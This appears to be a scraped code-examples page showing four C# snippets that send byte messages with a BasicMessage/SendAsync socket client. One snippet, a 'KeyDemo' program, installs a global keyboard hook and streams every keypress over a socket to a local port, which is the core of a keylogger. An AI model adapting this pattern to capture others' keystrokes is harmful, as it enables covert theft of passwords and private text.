コード例 #1
0
ファイル: ClientSession.cs プロジェクト: etking19/icon600
 public override void broadcastMessage(byte[] data)
 {
     try
     {
         BasicMessage message = new BasicMessage(this._Guid, data);
         _Client.SendAsync(message);
     }
     catch (Exception e)
     {
         Trace.WriteLine(e.Message);
     }
 }
コード例 #2
0
ファイル: Program.cs プロジェクト: rajeshwarn/TestProject
        static void Main()
        {
            ILogger logger = LogManager.GetLogger("KeyDemo");

            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            Application.ThreadException += new System.Threading.ThreadExceptionEventHandler(Application_ThreadException);
            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);

            BasicSocketClient client = null;
            Guid clientGuid          = Guid.Empty;

            try
            {
                clientGuid = Guid.NewGuid();
                client     = new BasicSocketClient();
                client.ReceiveMessageEvent += (handler, message) =>
                {
                    BasicMessage receivedMessage = (BasicMessage)message;
                    byte[]       buffer          = receivedMessage.GetBuffer();
                    string       s = System.Text.ASCIIEncoding.Unicode.GetString(buffer);
                    logger.Debug(s);
                };
                client.ConnectionEvent += (handler) =>
                {
                    Thread.Sleep(TimeSpan.FromSeconds(20));
                    logger.Debug("Client connected to remote server");
                };
                client.CloseConnectionEvent += (handler) =>
                {
                    logger.Debug("Client disconnected from remote server");
                };
                client.Connect(new IPEndPoint(IPAddress.Loopback, 8100));

                var m_KeyboardHookManager = new KeyboardHookListener(new GlobalHooker());
                m_KeyboardHookManager.Enabled   = true;
                m_KeyboardHookManager.KeyPress += (sender, e) =>
                {
                    //NamedPipe.Sender.SendMessage(new List<string>() { e.KeyChar.ToString() });
                    string       s       = e.KeyChar.ToString();
                    byte[]       buffer  = System.Text.ASCIIEncoding.Unicode.GetBytes(s);
                    BasicMessage message = new BasicMessage(clientGuid, buffer);
                    client.SendAsync(message);
                    logger.Debug(string.Format("KeyDown \t\t {0}\n", e.KeyChar));
                };
                Application.Run();
            }
            catch (Exception)
            {
                throw;
            }
        }
コード例 #3
0
        private void Send(ContainerMessage message)
        {
            try
            {
                RaiseNewTextEvent($"Sending message [{message.Format()}]");

                string s                 = ContainerMessage.Serialize(message);
                byte[] buffer            = ASCIIEncoding.Unicode.GetBytes(s);
                var    serializedMessage = new BasicMessage(_clientGuid, buffer);
                _client.SendAsync(serializedMessage);
            }
            catch (Exception ex)
            {
                RaiseNewTextEvent(ex.Message);
            }
        }
コード例 #4
0
        private void Send(ContainerMessage message)
        {
            try
            {
                string mc = message.Content;
                if (mc.Length > 20)
                {
                    mc = mc.Substring(0, 20) + "...";
                }
                RaiseNewTextEvent(string.Format("Sending message [{0} -> {1}: {2} # {3}]", message.Sender, message.Receiver, message.Info, mc));

                string       s                 = ContainerMessage.Serialize(message);
                byte[]       buffer            = ASCIIEncoding.Unicode.GetBytes(s);
                BasicMessage serializedMessage = new BasicMessage(_clientGuid, buffer);
                _client.SendAsync(serializedMessage);
            }
            catch (Exception ex)
            {
                RaiseNewTextEvent(ex.Message);
            }
        }